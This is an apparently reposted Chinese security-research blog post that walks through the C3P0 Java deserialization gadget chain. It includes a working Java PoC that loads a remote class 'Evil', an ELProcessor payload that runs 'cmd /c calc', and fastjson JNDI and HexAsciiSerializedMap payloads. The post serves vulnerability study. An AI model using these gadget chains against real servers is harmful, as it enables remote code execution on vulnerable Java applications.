Javaweb安全——反序列化漏洞-C3P0链

这篇具有很好参考价值的文章主要介绍了Javaweb安全——反序列化漏洞-C3P0链。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

C3P0反序列化链

C3P0是一个开源的JDBC连接池,它实现了数据源与JNDI绑定,支持JDBC3规范和实现了JDBC2的标准扩展说明的Connection和Statement池的DataSources对象。

即将用于连接数据库的连接整合在一起形成一个随取随用的数据库连接池(Connection pool)。

ysoserial代码注释中的调用链如下:

com.sun.jndi.rmi.registry.RegistryContext->lookup
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

自下向上的调用,从lookup看着像一个jndi注入,调用链比较短,直接静态审计源码试试。com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject还原connectionPoolDataSource属性赋值

Javaweb安全——反序列化漏洞-C3P0链

跟到com.mchange.v2.naming.ReferenceIndirector的内部类的方法ReferenceSerialized#getObject,可见是有个jndi,不过仔细查看源码发现contextName其实是不可控的。

Javaweb安全——反序列化漏洞-C3P0链

看一下com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject的流程,了解connectionPoolDataSource属性是怎么序列化的。

先try反序列化connectionPoolDataSource属性,但这个属性connectionPoolDataSource是ConnectionPoolDataSource类的没有实现 Serializable,并不能反序列化

Javaweb安全——反序列化漏洞-C3P0链

接着会抛出异常进入catch,产生1个Reference对象,然后再将他作为ReferenceSerialized类的属性。

Javaweb安全——反序列化漏洞-C3P0链

所以说只有reference属性是可控的。

Javaweb安全——反序列化漏洞-C3P0链

远程类加载

reference属性可控的话com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject中还有个点就可以利用了

Javaweb安全——反序列化漏洞-C3P0链

com.mchange.v2.naming.ReferenceableUtils#referenceToObject

Javaweb安全——反序列化漏洞-C3P0链

写个自定义类PoolSource实现ConnectionPoolDataSource, Referenceable接口即可

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class C3P0 {
    public static void main(String[] args) throws Exception {
        String className = "Evil";
        String url = "http://127.0.0.1:7999/";
        PoolBackedDataSource o = new PoolBackedDataSource();
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(o, new PoolSource(className, url));

        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        oos.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o0 = (Object)ois.readObject();
    }

    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("test", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }
}

Javaweb安全——反序列化漏洞-C3P0链

BeanFactory本地工厂类

上面的利用链因为要用到URLClassLoader,所以在高版本jdk以及不出网的条件下无法利用。

com.mchange.v2.naming.ReferenceableUtils#referenceToObject这还有一个利用点

Javaweb安全——反序列化漏洞-C3P0链

很容易想到jndi高版本注入用过的BeanFactory#getObjectInstance

Javaweb安全——反序列化漏洞-C3P0链

修改一下getReference方法返回的ref对象即可

        public Reference getReference () throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "test=eval"));
            ref.add(new StringRefAddr("test", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
            return ref;
        }

Javaweb安全——反序列化漏洞-C3P0链

fastjson中的利用

jndi注入

代替JdbcRowSetImpl链使用

com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference还有个jndi的点

Javaweb安全——反序列化漏洞-C3P0链

这个方法只有一个调用

Javaweb安全——反序列化漏洞-C3P0链

找调用了 inner() 的setter 方法做跳板。

Javaweb安全——反序列化漏洞-C3P0链

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}

二次反序列化

Fastjson的低版本可用(<= 1.2.47)。

先看poc:

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

跟进com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners这个方法,其在构造方法中调用

Javaweb安全——反序列化漏洞-C3P0链

该方法自定义了一个监听器重写了vetoableChange方法

Javaweb安全——反序列化漏洞-C3P0链

查看重写的vetoableChange方法,可见监听两个属性名:

  • connectionTesterClassName 属性通过recreateConnectionTester方法重新实例化一个 ConnectionTester 对象也就无法被利用了

  • userOverridesAsString属性使用 C3P0ImplUtils.parseUserOverridesAsString*来处理NewValue。
    截取从 HexAsciiSerializedMap 后的第二位到倒数第二位 中间的hex字符串,可以构造形如 HexAsciiSerializedMap:hex_code; 的字符串

    Javaweb安全——反序列化漏洞-C3P0链

    Javaweb安全——反序列化漏洞-C3P0链

    然后调用SerializableUtils.fromByteArray方法进行二次反序列化

    Javaweb安全——反序列化漏洞-C3P0链

    Javaweb安全——反序列化漏洞-C3P0链

接着跟进userOverridesAsString属性的setter方法,

Javaweb安全——反序列化漏洞-C3P0链

再到java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)

Javaweb安全——反序列化漏洞-C3P0链

调用链如下:

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString
	java.beans.VetoableChangeSupport#fireVetoableChange(java.lang.String, java.lang.Object, java.lang.Object)
	java.beans.VetoableChangeSupport#fireVetoableChange(java.beans.PropertyChangeEvent)
	java.beans.VetoableChangeListener#vetoableChange
		com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
			com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])
			com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray

参考

https://www.cnblogs.com/CoLo/p/15850685.html#hex%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E8%8A%82%E5%8A%A0%E8%BD%BD%E5%99%A8

https://blog.csdn.net/rfrder/article/details/123208761文章来源地址https://www.toymoban.com/news/detail-490897.html

到了这里,关于Javaweb安全——反序列化漏洞-C3P0链的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(39)
  • Java安全研究——反序列化漏洞之CC链

    apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。 若本文有侵权行为,请立即私信,将全面修

    2024年02月04日
    浏览(55)
  • 渗透测试漏洞原理之---【不安全的反序列化】

    为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式⼤多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建

    2024年02月09日
    浏览(46)
  • 网络安全-JDBC反序列化漏洞与RCE

    ubuntu 20:ip 10.28.144.100,安装docker、python3、docker-compose(可选)、Java(可选) windows11:ip 10.28.144.10,安装了Java、wireshark、Navicat(可选)、IDEA(可选) Java中这些magic方法在反序列化的时候会自动调用: readObject() readExternal() readResolve() readObjectNoData() validateObject() finalize() Java

    2024年02月10日
    浏览(39)
  • 不安全的反序列化(php&java)及漏洞复现

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化, 将对象的状态信息转换为可以存储或传输的形式的过程 ,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从

    2024年02月09日
    浏览(52)
  • 【java安全】Log4j反序列化漏洞

    关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。 就是用来打印日志的 漏洞成因

    2024年02月11日
    浏览(45)
  • 小迪安全47WEB 攻防-通用漏洞&Java 反序列化&EXP 生成&数据提取&组件安全

    # 知识点: 1 、 Java 反序列化演示 - 原生 API 接口 2 、 Java 反序列化漏洞利用 -Ysoserial 使用 3 、 Java 反序列化漏洞发现利用点 - 函数 数据 4 、 Java 反序列化考点 - 真实 CTF 赛题 - 审计分析 # 内容点: 1 、明白 -Java 反序列化原理 2 、判断 -Java 反序列化漏洞 3 、学会 -Ysoserial 工具

    2024年04月10日
    浏览(61)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(50)
  • 反序列化渗透与攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的? 1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。 2、Apache Commons Collections是开源小

    2023年04月17日
    浏览(47)
  • 反序列化漏洞及漏洞复现

    问题 :为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重

    2024年02月09日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包